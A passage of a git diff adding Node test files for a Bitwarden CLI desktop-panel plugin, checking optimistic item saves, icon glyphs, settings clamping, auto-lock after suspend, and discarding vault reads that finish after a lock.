Model.savedUnsanitizedMarker() === "string" + && Model.savedUnsanitizedMarker().length > 0 + && Model.spliceSavedItem(listed3, Model.savedUnsanitizedMarker()) === null, + Model.savedUnsanitizedMarker()) + +// The save pipeline must sanitize its response the same way the list does, +// because a save returns a complete decrypted cipher just as `bw list` does. +const createCmd = Model.createItemCommand({ name: "x" })[2] +check("a save runs its response through the strict JSON validator", + createCmd.includes("TextDecoder") && createCmd.includes("Array.isArray"), createCmd.slice(0, 200)) +check("a save runs its response through the allowlisting filter", + createCmd.includes("ordinary item carries an SSH key subtree") + && createCmd.includes("sshCapability"), createCmd.slice(0, 200)) +check("a failed save is never reported as a success", + /if \[ "\$__rc" -ne 0 \]; then exit "\$__rc"; fi/.test(createCmd), createCmd) + +// --- saving without making the user wait ------------------------------------- +// +// A save costs whatever `bw` costs: a second or two of CLI startup, vault +// decryption and a round trip, none of which this plugin can shorten. So the +// form closes when the command is launched and the list shows the item as it +// will be, marked as saving, until the vault answers. + +const draftCard = { type: 3, name: "Draft Visa", notes: "", favorite: false, + card: { brand: "Visa", number: "4111111111111111", code: "999", + expMonth: "01", expYear: "2031", cardholderName: "A Person" } } + +const provisional = Model.pendingItemId(12345) +const optimistic = Model.optimisticItem(draftCard, provisional) + +check("an optimistic row is built through the same parser as a real one", + optimistic.typeCode === 3 && optimistic.subtitle === "Visa •••• 1111" + && optimistic.hasPassword === false, + JSON.stringify(optimistic)) +check("and is marked as still saving", optimistic.pending === true, JSON.stringify(optimistic)) +check("a provisional id is recognisable as one", + Model.isPendingItemId(optimistic.id), optimistic.id) +check("a real vault id is not mistaken for a provisional one", + !Model.isPendingItemId(card.id), card.id) + +// The response carries the id the server assigned, which is not the one the +// row went in under. +const createdEnvelope = JSON.stringify({ + sshCapability: "unconfirmed", + items: [{ ...draftCard, object: "item", id: "55555555-5555-5555-5555-555555555555" }], + sshKeys: [] +}) +const withOptimistic = Model.replaceItemById(listed3, provisional, optimistic) +check("the optimistic row goes into the list", withOptimistic.length === listed3.length + 1, + String(withOptimistic.length)) + +const settled = Model.spliceSavedItem(withOptimistic, createdEnvelope, provisional) +check("the saved item replaces the provisional row rather than joining it", + settled.length === withOptimistic.length + && settled.filter(i => Model.isPendingItemId(i.id)).length === 0, + JSON.stringify(settled.map(i => i.id))) +check("and lands under the id the server assigned", + settled.some(i => i.id === "55555555-5555-5555-5555-555555555555"), + JSON.stringify(settled.map(i => i.id))) +check("the settled row is no longer marked as saving", + !settled.find(i => i.id === "55555555-5555-5555-5555-555555555555").pending, + "a row that has landed must not keep spinning") + +// A refused save must not leave the panel showing something the vault rejected. +check("a failed create takes its provisional row back out", + Model.replaceItemById(withOptimistic, provisional, null).length === listed3.length, + "a create that failed must leave no row behind") + +const editOptimistic = Model.optimisticItem( + { ...card, name: "Renamed while saving" }, card.id) +const duringEdit = Model.replaceItemById(listed3, card.id, editOptimistic) +check("an optimistic edit replaces in place rather than duplicating", + duringEdit.length === listed3.length, String(duringEdit.length)) +check("a failed edit puts the previous row back", + (() => { + const before = Model.findItemById(listed3, card.id) + const after = Model.replaceItemById(duringEdit, card.id, before) + const restored = Model.findItemById(after, card.id) + return after.length === listed3.length && restored.name === "Visa" && !restored.pending + })(), "the list must return to what the vault actually holds") + +check("finding an item by id returns null rather than throwing when absent", + Model.findItemById(listed3, "nope") === null, "expected null") + +// --- the fallback path still has to behave ---------------------------------- + +check("a missing raw object yields null rather than a broken detail", + Model.itemDetailFromObject(null) === null, String(Model.itemDetailFromObject(null))) +check("so does a non-object", Model.itemDetailFromObject("nope") === null, + String(Model.itemDetailFromObject("nope"))) +check("unparseable JSON still yields null from the string form", + Model.parseItemDetail("{not json") === null, String(Model.parseItemDetail("{not json"))) + +// --- the type glyphs ------------------------------------------------------- +// +// Pinned by codepoint, because a wrong one is invisible in review: the glyph +// renders as a small picture in the editor and the name is nowhere in the +// source. Two of these were wrong for exactly that reason -- Secure Note drew +// md-fan (a ceiling fan) and Card drew md-close_octagon_outline (a stop sign), +// both under comments claiming otherwise. The values below are the same ones +// the type filter chips in Panel.qml use, which is the point: a row and the +// chip that selects it should not disagree. + +const glyphs = [ + [1, 0xF030B, "md-key_variant", "Login"], + [2, 0xF0219, "md-file_document", "Secure Note"], + [3, 0xF0FEF, "md-credit_card", "Card"], + [4, 0x0F007, "fa-user", "Identity"] +] +for (const [typeCode, cp, name, label] of glyphs) { + const got = Model.itemTypeGlyph(typeCode) + check(`${label} draws ${name}`, got.codePointAt(0) === cp, + `U+${got.codePointAt(0).toString(16).toUpperCase()}`) + check(`${label} is one glyph, not a sequence`, [...got].length === 1, JSON.stringify(got)) +} +// itemTypeName() already answers "login" for anything it does not recognise, +// so a cipher type Bitwarden adds later renders as a login rather than as +// nothing. That also means itemTypeGlyph's own `default:` shield can never be +// reached -- pinned here so the next reader does not go looking for it. +check("an unrecognised type is drawn as a login, not as the unreachable shield", + Model.itemTypeGlyph(99).codePointAt(0) === 0xF030B, + Model.itemTypeGlyph(99).codePointAt(0).toString(16)) + +// A key icon on the password controls, not a refresh icon. Pinned by button +// rather than by count, because what broke this was a bulk glyph replacement +// that meant to touch one new button and silently rewrote every other use of +// the same codepoint. A count alone would have moved with it. +const panelSrc = fs.readFileSync(path.join(__dirname, "..", "Panel.qml"), "utf8") +const KEY = String.fromCodePoint(0xF0306) +const passwordButtons = [ + ['tooltipText: "Password generator (g)"', "the generator button"], + ['tooltipText: "Copy password (Enter / y)"', "copy password on an item row"], + ['tooltipText: "Copy password (y / Enter)"', "copy password in the detail view"], + ['selected: root.genOpts.type === "password"', "the generator's Password type"], +] +for (const [anchor, label] of passwordButtons) { + const at = panelSrc.indexOf(anchor) + const before = at < 0 ? "" : panelSrc.slice(Math.max(0, at - 200), at) + const icon = before.lastIndexOf("iconText:") + check(`${label} wears the key glyph`, + at >= 0 && icon >= 0 && before.slice(icon).includes(KEY), + at < 0 ? `anchor missing: ${anchor}` : JSON.stringify(before.slice(icon).trim())) +} +check("the Generate... button wears it too", + /text: "Generate\.\.\."[\s\S]{0,80}iconText: "\u{F0306}"/u.test(panelSrc), + "the field-level generator shortcut") + +console.log(`${pass} passed, ${failures.length} failed`) +if (failures.length) { console.error("\nFAILURES:\n " + failures.join("\n ")); process.exit(1) } diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/tests/lock-state.test.js b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/lock-state.test.js new file mode 100644 index 0000000..5ab43aa --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/lock-state.test.js @@ -0,0 +1,396 @@ +#!/usr/bin/env node +// What the panel must stop doing when the vault is not open. +// +// Three ways it kept going anyway, all of them silent: +// +// 1. The auto-lock countdown ran on a Qt Timer, and Qt schedules on +// CLOCK_MONOTONIC, which Linux stops while the machine is suspended. A +// fifteen-minute lock armed just before the lid closed still had fifteen +// minutes left when the lid opened, so a vault left overnight came back +// open. The deadline is now kept in wall-clock terms as well. +// +// 2. The minute count behind that countdown came out of shell.json, and +// nothing validates shell.json. A non-numeric value reached QML as NaN and +// landed in an `int` property as 0, which is how "never lock" is spelled; a +// value past the schema's ceiling overflowed Timer.interval into a negative +// number, which never fires. Both readings were a vault that never locked. +// +// 3. Nothing cancels a `bw` that is already running, so a `bw list items` +// started a second before the lock finished afterwards and put the whole +// vault -- passwords and all -- back into a panel that had just dropped it. +// +// node tests/lock-state.test.js + +const fs = require("fs") +const path = require("path") + +const Model = {} +new Function("exports", fs.readFileSync(path.join(__dirname, "..", "BitwardenModel.js"), "utf8") + .replace(/^\.pragma library\s*$/m, "") + ` + exports.intSetting = intSetting + exports.settingSchemaEntry = settingSchemaEntry + exports.SETTINGS_SCHEMA = SETTINGS_SCHEMA + exports.autoLockExpired = autoLockExpired + exports.autoLockPollMs = autoLockPollMs + exports.vaultReadIsStale = vaultReadIsStale + exports.parseItems = parseItems +`)(Model) + +let pass = 0 +const failures = [] +const check = (l, ok, d) => ok ? pass++ : failures.push(`${l}\n ${d}`) + +const panelSrc = fs.readFileSync(path.join(__dirname, "..", "Panel.qml"), "utf8") +const bodyOf = (name) => { + const start = panelSrc.indexOf(`function ${name}(`) + if (start === -1) return "" + let depth = 0 + for (let i = panelSrc.indexOf("{", start); i < panelSrc.length; i++) { + if (panelSrc[i] === "{") depth++ + else if (panelSrc[i] === "}" && --depth === 0) return panelSrc.slice(start, i + 1) + } + return "" +} + +// --- 1. The schema is the same on both sides of shell.json ------------------ +// The settings screen clamps to SETTINGS_SCHEMA on the way out and the +// marketplace shows manifest.json's min/max, so the two have to agree or the +// clamp on the way back in enforces a range nobody was shown. +const manifest = JSON.parse(fs.readFileSync(path.join(__dirname, "..", "manifest.json"), "utf8")) +const manifestEntries = {} +for (const e of manifest.barWidget.schema) manifestEntries[e.key] = e + +for (const entry of Model.SETTINGS_SCHEMA) { + if (entry.type !== "int") continue + const m = manifestEntries[entry.key] + check(`manifest declares ${entry.key}`, !!m, JSON.stringify(Object.keys(manifestEntries))) + if (!m) continue + check(`${entry.key} min agrees with the manifest`, m.min === entry.min, `${m.min} vs ${entry.min}`) + check(`${entry.key} max agrees with the manifest`, m.max === entry.max, `${m.max} vs ${entry.max}`) + check(`${entry.key} default agrees with the manifest`, + m.defaultValue === entry.defaultValue, `${m.defaultValue} vs ${entry.defaultValue}`) + check(`${entry.key} default agrees with the widget defaults block`, + manifest.barWidget.defaults[entry.key] === entry.defaultValue, + `${manifest.barWidget.defaults[entry.key]} vs ${entry.defaultValue}`) + // The ceiling exists so the value can be turned into milliseconds and put in + // a Timer, whose interval is a signed 32-bit int. + const scale = entry.key === "autoLockMinutes" ? 60 * 1000 : 1000 + check(`${entry.key} max still fits Timer.interval`, + entry.max * scale <= 2147483647, `${entry.max * scale}`) +} + +// --- 2. Reading a setting back out of shell.json ---------------------------- +// `omarchy bar set` writes whatever it is handed -- a bare word becomes a JSON +// string, --json stores any number at all -- and the README documents editing +// the file by hand, so every one of these is reachable. +for (const [key, raw, want, why] of [ + ["autoLockMinutes", 15, 15, "an ordinary value is untouched"], + ["autoLockMinutes", "30", 30, "the string form `omarchy bar set` writes without --json"], + ["autoLockMinutes", 0, 0, "an explicit 0 still means never"], + ["autoLockMinutes", "fifteen", 15, "a word falls back to the default, NOT to 0/never"], + ["autoLockMinutes", undefined, 15, "an unset key falls back to the default"], + ["autoLockMinutes", null, 15, "a null falls back to the default"], + ["autoLockMinutes", "", 15, "an empty string falls back to the default"], + ["autoLockMinutes", true, 15, "a boolean falls back to the default"], + ["autoLockMinutes", 999999, 1440, "a count that would overflow Timer.interval is capped"], + ["autoLockMinutes", 1e30, 1440, "so is one written in exponential notation"], + // The floor of every integer setting here doubles as its "off" sentinel, so + // clamping a negative up to it is the silent never-lock this clamp exists to + // refuse, reached from the other side. Below the range is a bad value, not a + // request for zero. + ["autoLockMinutes", -5, 15, "a negative count is the default, NOT 0/never"], + ["autoLockMinutes", "-1", 15, "including the string form"], + ["autoLockMinutes", -Infinity, 15, "and the one that arrives as -Infinity"], + ["autoLockMinutes", 15.9, 15, "a fraction truncates rather than reaching the Timer"], + ["clearClipboardSec", 100000, 300, "the clipboard timeout has its own ceiling"], + ["clearClipboardSec", "soon", 30, "and its own default"], + ["clearClipboardSec", -1, 30, "and a negative there is not 'never clear' either"], + ["autoCopyTotpSec", 999, 30, "so does the TOTP delay"], + ["autoCopyTotpSec", "off", 3, "and its default is not 0 either"], + ["autoCopyTotpSec", -3, 3, "and a negative is its default too"], +]) { + const got = Model.intSetting(key, raw) + check(`intSetting(${key}, ${JSON.stringify(raw)}) -> ${want}: ${why}`, got === want, `got ${got}`) +} + +check("every clamped value is a finite integer", + [undefined, null, "", "x", {}, [], NaN, Infinity, -Infinity, 1e400].every(v => { + const n = Model.intSetting("autoLockMinutes", v) + return Number.isInteger(n) && n >= 0 && n <= 1440 + }), "one of the junk values escaped the clamp") + +check("the panel reads its int settings through the clamp", + /autoLockMinutes:\s*Model\.intSetting\("autoLockMinutes"/.test(panelSrc) + && /clearClipboardSec:\s*Model\.intSetting\("clearClipboardSec"/.test(panelSrc) + && /autoCopyTotpSec:\s*Model\.intSetting\("autoCopyTotpSec"/.test(panelSrc), + "expected Model.intSetting() on all three integer settings") + +// --- 3. The auto-lock deadline survives a suspend --------------------------- +const t0 = 1700000000000 +check("not expired before the window is up", + Model.autoLockExpired(t0, 15, t0 + 14 * 60000) === false, "expired early") +check("expired the moment the window is up", + Model.autoLockExpired(t0, 15, t0 + 15 * 60000) === true, "did not expire") + +// The bug itself. The shell is frozen across a suspend, so the monotonic Timer +// counts only the seconds either side of it; the wall clock counts the night. +const awakeMsBeforeSuspend = 60 * 1000 +const suspendMs = 12 * 60 * 60 * 1000 +check("a twelve-hour suspend expires a fifteen-minute window", + Model.autoLockExpired(t0, 15, t0 + awakeMsBeforeSuspend + suspendMs) === true, + "the vault would have come back unlocked") +check("the monotonic clock alone would not have noticed", + awakeMsBeforeSuspend < 15 * 60000, "premise of the test is wrong") + +check("zero minutes is the user asking for no auto-lock, not an instant one", + Model.autoLockExpired(t0, 0, t0 + suspendMs) === false, "locked with auto-lock off") +check("an unarmed window has no deadline to have passed", + Model.autoLockExpired(0, 15, t0) === false, "locked without ever being armed") +check("junk cannot make it lock, or stop it locking", + Model.autoLockExpired(NaN, 15, t0) === false + && Model.autoLockExpired(t0, NaN, t0 + suspendMs) === false + && Model.autoLockExpired(t0, 15, NaN) === false, + "a NaN got through") + +for (const [minutes, want] of [[15, 30000], [60, 30000], [1, 30000], [0, 30000]]) { + check(`autoLockPollMs(${minutes}) === ${want}`, Model.autoLockPollMs(minutes) === want, + String(Model.autoLockPollMs(minutes))) +} +check("the poll never outlasts the window it is watching", + [1, 5, 15, 1440].every(m => Model.autoLockPollMs(m) <= m * 60000), "poll longer than the window") +check("and never busy-loops", + [0, 1, 15, 1440].every(m => Model.autoLockPollMs(m) >= 1000), "poll under a second") + +check("the panel arms the window in wall-clock terms", + /autoLockArmedAt\s*=\s*Date\.now\(\)/.test(bodyOf("resetAutoLockTimer")), + bodyOf("resetAutoLockTimer")) +const watchdog = panelSrc.slice(panelSrc.indexOf("id: autoLockWatchdog"), + panelSrc.indexOf("id: autoLockWatchdog") + 900) +check("the panel runs a wall-clock watchdog alongside the monotonic timer", + panelSrc.includes("id: autoLockWatchdog"), "no autoLockWatchdog Timer") +check("the watchdog repeats, or it is just the monotonic timer again", + /repeat:\s*true/.test(watchdog), watchdog) +check("the watchdog only runs on an unlocked vault", + /running:\s*root\.status === "unlocked" && root\.autoLockMinutes > 0/.test(watchdog), watchdog) +check("the watchdog asks the wall clock", + /Model\.autoLockExpired\(root\.autoLockArmedAt, root\.autoLockMinutes, Date\.now\(\)\)/.test(watchdog), + watchdog) +check("and locks when it has passed", + /root\.lockVault\(\)/.test(watchdog), watchdog) + +// --- 4. A reader that outlived the vault it was reading --------------------- +check("same generation, session still there: fresh", + Model.vaultReadIsStale(3, 3, true) === false, "rejected a live result") +check("the vault changed hands: stale", + Model.vaultReadIsStale(3, 4, true) === true, "accepted a result from a previous vault") +check("no session at all: stale whatever the generation says", + Model.vaultReadIsStale(3, 3, false) === true, "accepted a result into a locked vault") +check("a reader that never recorded a generation is stale, not fresh", + Model.vaultReadIsStale(undefined, 0, true) === true, "unstamped read treated as fresh") + +// Replay of the real sequence, with the panel's own logic standing in for the +// panel. `bw list items` is in flight; the vault locks; the list lands. +function fakePanel() { + return { + session: "SESSION-A", + vaultEpoch: 0, + readEpochs: {}, + items: [], + itemsLoadedAt: 0, + beginVaultRead(name) { this.readEpochs[name] = this.vaultEpoch }, + stale(name) { return Model.vaultReadIsStale(this.readEpochs[name], this.vaultEpoch, !!this.session) }, + loadItems() { this.beginVaultRead("items") }, + onListFinished(raw) { + if (this.stale("items")) return + this.items = Model.parseItems(raw) + this.itemsLoadedAt = 1 + }, + lockVault() { this.session = ""; this.vaultEpoch += 1; this.items = []; this.itemsLoadedAt = 0 }, + unlockAs(token) { this.session = token; this.vaultEpoch += 1 } + } +} + +const vaultA = JSON.stringify([ + { id: "a1", name: "Bank", type: 1, login: { username: "me", password: "hunter2" } } +]) +const vaultB = JSON.stringify([ + { id: "b1", name: "Work", type: 1, login: { username: "work", password: "correct-horse" } } +]) + +let p = fakePanel() +p.loadItems() +p.lockVault() +p.onListFinished(vaultA) +check("a list that lands after the lock does not refill the vault", + p.items.length === 0, JSON.stringify(p.items)) + +p = fakePanel() +p.loadItems() +p.lockVault() +p.unlockAs("SESSION-B") // logged out and back in as somebody else +p.onListFinished(vaultA) +check("nor after a re-login, where it would have been drawn as the new account's", + p.items.length === 0, JSON.stringify(p.items)) +p.loadItems() +p.onListFinished(vaultB) +check("the new account's own list is accepted", + p.items.length === 1 && p.items[0].id === "b1", JSON.stringify(p.items)) +check("and the cache is not marked fresh off a discarded answer", + fakePanel().itemsLoadedAt === 0, "premise") + +// Every reader the panel has, wired at both ends. +for (const [name, starter, handler] of [ + ["items", "loadItems", "onListFinished"], + ["organizations", "loadOrganizations", "onListOrgsFinished"], + ["folders", "loadFolders", "onListFoldersFinished"], + ["collections", "loadOrgCollections", "onOrgCollectionsLoaded"], + ["detail", "openDetail", "onDetailFinished"], + ["totp", "startTotpFetch", "onTotpFinished"], + ["sends", "loadSends", "onSendsLoaded"], +]) { + check(`${starter}() records the vault generation`, + new RegExp(`beginVaultRead\\("${name}"\\)`).test(bodyOf(starter)), bodyOf(starter)) + check(`${handler}() refuses an answer from a vault that has closed`, + new RegExp(`if \\(vaultReadIsStale\\("${name}"\\)\\) return`).test(bodyOf(handler)), bodyOf(handler)) +} + +// Writers and generated values can outlive a lock too. Their server-side +// effect may already have happened, but no completion may repopulate the +// locked panel, copy a newly created Send URL, or navigate back to main. +for (const [name, starter, handler] of [ + ["sendCreate", "submitCreateSend", "onSendCreated"], + ["sendDelete", "deleteSend", "onSendDeleted"], + ["generator", "regenerate", "onGenerated"], + ["folderCreate", "submitNewFolder", "onFolderCreated"], + ["sync", "syncVault", "onSyncFinished"], + ["itemSave", "saveItemForm", "onSaveItemFinished"], + ["itemDelete", "deleteCurrentItem", "onDeleteItemFinished"], + ["attachment", "pumpAttachmentQueue", "onAttachmentDownloaded"], +]) { + check(`${starter}() stamps the vault operation`, + new RegExp(`beginVaultRead\\("${name}"\\)`).test(bodyOf(starter)), bodyOf(starter)) + check(`${handler}() drops a completion from a vault that has closed`, + new RegExp(`if \\(vaultReadIsStale\\("${name}"\\)\\)[\\s\\S]{0,140}return`).test(bodyOf(handler)), bodyOf(handler)) +} + +const droppedState = bodyOf("dropVaultState") +check("a queued TOTP request is pinned to the vault generation that queued it", + /totpQueuedEpoch\s*=\s*vaultEpoch/.test(bodyOf("fetchTotp")) + && /queuedEpoch\s*===\s*root\.vaultEpoch/.test(bodyOf("continueTotpQueue")), + bodyOf("fetchTotp") + "\n" + bodyOf("continueTotpQueue")) +check("every status request records the current vault generation", + /beginEpochOperation\("status"\)/.test(bodyOf("runStatusCheck")), bodyOf("runStatusCheck")) +check("status completion refuses a result from an earlier vault generation", + /if \(epochOperationIsStale\("status"\)\) return/.test(bodyOf("onStatusFinished")), + bodyOf("onStatusFinished")) +check("status requests use the generation-stamped launcher", + (panelSrc.match(/statusProc\.running\s*=\s*true/g) || []).length === 1 + && /statusProc\.running\s*=\s*true/.test(bodyOf("runStatusCheck")), + `direct starts: ${(panelSrc.match(/statusProc\.running\s*=\s*true/g) || []).length}`) +check("session handoff reads record and verify their vault generation", + /beginEpochOperation\("sessionHandoff"\)/.test(bodyOf("refreshStatus")) + && /if \(epochOperationIsStale\("sessionHandoff"\)\) return/.test(bodyOf("onSessionHandoff")), + bodyOf("refreshStatus") + "\n" + bodyOf("onSessionHandoff")) +check("remembered-session lookups record and verify their vault generation", + /beginEpochOperation\("keyringLookup"\)/.test(bodyOf("onSessionHandoff")) + && /if \(epochOperationIsStale\("keyringLookup"\)\) return/.test(bodyOf("onKeyringLookupFinished")), + bodyOf("onSessionHandoff") + "\n" + bodyOf("onKeyringLookupFinished")) +check("logout closes any terminal handoff acceptance window", + /terminalLoginStartedAt\s*=\s*0/.test(bodyOf("logoutAccount")), bodyOf("logoutAccount")) +const abandonedAuth = bodyOf("abandonAuthSecrets") +check("abandoning authentication clears every typed or staged auth secret", + ["masterPassword", "loginPassword", "loginClientId", "loginClientSecret", "login2faCode", + "pendingUnlockPassword", "authPasswordWriteValue", "pinEntry"].every(prop => + new RegExp(`\\b${prop}\\s*=\\s*""`).test(abandonedAuth)), + abandonedAuth) +check("handoff, external unlock, and panel hide purge abandoned auth secrets", + /cancelAuthPrewarm\(\)[\s\S]{0,100}abandonAuthSecrets\(\)/.test(bodyOf("onSessionHandoff")) + && /if\s*\(st\.unlocked\)[\s\S]{0,120}abandonAuthSecrets\(\)/.test(bodyOf("onStatusFinished")) + && /onOpenedChanged:[\s\S]{0,180}else[\s\S]{0,120}abandonAuthSecrets\(\)/.test(panelSrc), + bodyOf("onSessionHandoff") + "\n" + bodyOf("onStatusFinished")) +check("closing the panel invalidates PIN and fingerprint unlock completions", + /abandonAuthSecrets\(\)/.test(bodyOf("close")) + && /pinUnlockSubmitted\s*=\s*false/.test(abandonedAuth) + && /cancelFingerprintUnlock\(\)/.test(bodyOf("close")), bodyOf("close")) +check("closing the panel cancels authentication-method setup writes", + /abandonPinSetup\(\)/.test(bodyOf("close")) + && /abandonFingerprintSetup\(\)/.test(bodyOf("close")), bodyOf("close")) +check("leaving either authentication setup form cancels its in-flight write", + /currentScreen\s*!==\s*"pin"[\s\S]*abandonPinSetup\(\)/.test(panelSrc) + && /currentScreen\s*!==\s*"fingerprint"[\s\S]*abandonFingerprintSetup\(\)/.test(panelSrc) + && /invalidateEpochOperation\("pinStore"\)/.test(bodyOf("abandonPinSetup")) + && /invalidateEpochOperation\("masterStore"\)/.test(bodyOf("abandonFingerprintSetup")), + bodyOf("abandonPinSetup") + "\n" + bodyOf("abandonFingerprintSetup")) +check("PIN completion requires a still-active submitted unlock", + /pinUnlockSubmitted\s*&&\s*sshAuthSurfaceActive\s*&&\s*status\s*===\s*"locked"/.test(bodyOf("onPinUnlockResult")), + bodyOf("onPinUnlockResult")) +check("fingerprint password retrieval requires a live verified attempt", + /fingerprintAuthorized/.test(bodyOf("onFingerprintPasswordRetrieved")) + && /sshAuthSurfaceActive/.test(bodyOf("onFingerprintPasswordRetrieved")) + && /status\s*!==\s*"locked"/.test(bodyOf("onFingerprintPasswordRetrieved")), + bodyOf("onFingerprintPasswordRetrieved")) +check("remembered-session stores are generation-stamped and stale stores are cleared", + /beginEpochOperation\("sessionStore"\)/.test(bodyOf("storeCurrentSession")) + && /epochOperationIsStale\("sessionStore"\)/.test(bodyOf("onSessionStored")) + && /requestSessionCredentialClear\(\)/.test(bodyOf("onSessionStored")), + bodyOf("storeCurrentSession") + "\n" + bodyOf("onSessionStored")) +check("a newer session waits for an old store and its cleanup before being remembered", + /keyringStoreProc\.running\s*\|\|\s*keyringClearProc\.running/.test(bodyOf("storeCurrentSession")) + && /sessionStorePending\s*=\s*true/.test(bodyOf("storeCurrentSession")) + && /sessionStorePending\s*=\s*rememberSession\s*&&\s*status\s*===\s*"unlocked"\s*&&\s*!!session/.test(bodyOf("onSessionStored")) + && /sessionStorePending[\s\S]{0,100}storeCurrentSession/.test(panelSrc.slice( + panelSrc.indexOf("id: keyringClearProc"), panelSrc.indexOf("id: listFoldersProc"))), + bodyOf("storeCurrentSession") + "\n" + bodyOf("onSessionStored")) +check("PIN stores cannot recreate a credential after the vault generation changes", + /beginEpochOperation\("pinStore"\)/.test(bodyOf("submitPinSetup")) + && /epochOperationIsStale\("pinStore"\)/.test(bodyOf("onPinStored")) + && /requestPinCredentialClear\(\)/.test(bodyOf("onPinStored")), + bodyOf("submitPinSetup") + "\n" + bodyOf("onPinStored")) +check("master-password stores cannot recreate a credential after lock or logout", + /beginEpochOperation\("masterStore"\)/.test(bodyOf("submitFingerprintSetup")) + && /epochOperationIsStale\("masterStore"\)/.test(bodyOf("onMasterPasswordStored")) + && /requestMasterCredentialClear\(\)/.test(bodyOf("onMasterPasswordStored")), + bodyOf("submitFingerprintSetup") + "\n" + bodyOf("onMasterPasswordStored")) +check("a learned-association read cannot repopulate account metadata after logout", + /associationsReadEpoch\s*=\s*associationsEpoch/.test(bodyOf("loadAssociations")) + && /associationsReadEpoch\s*!==\s*associationsEpoch/.test(bodyOf("onAssociationsLoaded")) + && /associationsEpoch\s*\+=\s*1/.test(bodyOf("forgetStoredCredentials")), + bodyOf("loadAssociations") + "\n" + bodyOf("onAssociationsLoaded") + + "\n" + bodyOf("forgetStoredCredentials")) +check("credential clears requested during another clear are repeated afterward", + /sessionClearPending\s*=\s*true/.test(bodyOf("requestSessionCredentialClear")) + && /pinClearPending\s*=\s*true/.test(bodyOf("requestPinCredentialClear")) + && /masterClearPending\s*=\s*true/.test(bodyOf("requestMasterCredentialClear")) + && /allCredentialsClearPending\s*=\s*true/.test(bodyOf("requestAllCredentialClear")), + "one or more keyring clear paths cannot queue a repeat") +check("locking uses the centralized local vault purge", + /dropVaultState\(\)/.test(bodyOf("lockVault")), bodyOf("lockVault")) +check("unreadable, locked, and logged-out status results purge local vault state", + (bodyOf("onStatusFinished").match(/dropVaultState\(\)/g) || []).length >= 3, + bodyOf("onStatusFinished")) +for (const [prop, empty] of [ + ["session", '""'], ["items", "[]"], ["filteredItems", "[]"], + ["organizations", "[]"], ["folders", "[]"], ["detailItem", "null"], + ["formCollections", "[]"], ["formCollectionIds", "[]"], + ["formUsername", '""'], ["formUri", '""'], + ["formNotes", '""'], +]) { + check(`the local vault purge clears ${prop}`, + droppedState.includes(`${prop} = ${empty}`), + droppedState) +} +check("the local vault purge cancels and clears attachment work", + /cancelAttachmentDownloads\(\)/.test(droppedState) + && /attachmentQueue\s*=\s*\[\]/.test(bodyOf("cancelAttachmentDownloads")) + && /attachmentBusyId\s*=\s*""/.test(bodyOf("cancelAttachmentDownloads")), + droppedState + "\n" + bodyOf("cancelAttachmentDownloads")) +check("the local vault purge clears secret fields and collector buffers", + /dropVaultSecrets\(\)/.test(droppedState), droppedState) + +for (const fn of ["onUnlockSuccess", "onSessionHandoff", "onKeyringLookupFinished"]) { + check(`${fn}() moves the vault generation on`, + /vaultEpoch \+= 1/.test(bodyOf(fn)), bodyOf(fn)) +} + +console.log(`${pass} passed, ${failures.length} failed`) +if (failures.length) { console.error("\nFAILURES:\n " + failures.join("\n ")); process.exit(1) } diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/tests/lock-triggers.test.js b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/lock-triggers.test.js new file mode 100644 index 0000000..ada82a6 --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/lock-triggers.test.js @@ -0,0 +1,277 @@ +#!/usr/bin/env node +// Tests for the two events that lock the vault without waiting out the +// auto-lock countdown, and for the window in which a terminal login's session +// key is accepted. +// +// node tests/lock-triggers.test.js + +const fs = require("fs") +const path = require("path") +const { execFileSync } = require("child_process") + +const Model = {} +new Function("exports", fs.readFileSync(path.join(__dirname, "..", "BitwardenModel.js"), "utf8") + .replace(/^\.pragma library\s*$/m, "") + ` + exports.screenLockStateCommand = screenLockStateCommand + exports.screenIsLocked = screenIsLocked + exports.screenLockPollMs = screenLockPollMs + exports.sleepMonitorCommand = sleepMonitorCommand + exports.sleepSignalToken = sleepSignalToken + exports.wakeSignalToken = wakeSignalToken + exports.sessionHandoffReadCommand = sessionHandoffReadCommand + exports.handoffWindowOpen = handoffWindowOpen + exports.handoffWindowMs = handoffWindowMs + exports.groupedSettings = groupedSettings +`)(Model) + +let pass = 0 +const failures = [] +const check = (l, ok, d) => ok ? pass++ : failures.push(`${l}\n ${d}`) + +// ------------------------------------------------------------------------- +// Screen lock +// ------------------------------------------------------------------------- + +// Only "true" is locked. A shell with the lock plugin disabled answers +// "Target not found." and exits non-zero; that is "no answer", and a vault +// that reads it as "locked" would relock itself every few seconds forever. +const LOCK_ANSWERS = [ + ["true", true], + ["true\n", true], + [" true ", true], + ["false", false], + ["", false], + ["Target not found.", false], + ["TRUE", false], + ["truthy", false], + [null, false], + [undefined, false], +] + +for (const [raw, want] of LOCK_ANSWERS) { + check(`screenIsLocked(${JSON.stringify(raw)}) is ${want}`, + Model.screenIsLocked(raw) === want, String(Model.screenIsLocked(raw))) +} + +const lockCmd = Model.screenLockStateCommand() +check("screen lock state is asked of the shell's own lock plugin", + lockCmd.join(" ").includes("omarchy-shell lock isLocked"), lockCmd.join(" ")) + +check("screen lock state bounds what it will read back", + /head -c \d+/.test(lockCmd.join(" ")), lockCmd.join(" ")) + +check("screen lock poll is a sane interval", + Model.screenLockPollMs() >= 1000 && Model.screenLockPollMs() <= 15000, + String(Model.screenLockPollMs())) + +// ------------------------------------------------------------------------- +// Suspend +// ------------------------------------------------------------------------- + +const sleepScript = Model.sleepMonitorCommand()[2] + +check("suspend is taken from logind's PrepareForSleep", + sleepScript.includes("PrepareForSleep") && sleepScript.includes("org.freedesktop.login1"), + sleepScript) + +// Without a delay inhibitor logind announces the sleep and suspends without +// waiting, so the lock would be racing the freeze. +check("a delay inhibitor is held so the lock lands before the freeze", + sleepScript.includes("--what=sleep") && sleepScript.includes("--mode=delay"), + sleepScript) + +// sed quits on the match, but the monitor would then keep the pipeline open +// until it next wrote -- which is on the far side of the suspend. Killing it +// is what lets the inhibitor be released and the loop come round again. +check("the monitor is killed rather than left to a broken pipe", + sleepScript.includes("kill \"$g\""), sleepScript) + +check("the loop never exits, so a failure cannot become a hot restart", + sleepScript.includes("while :; do") && /sleep 300/.test(sleepScript) && /sleep 5/.test(sleepScript), + sleepScript) + +check("sed is 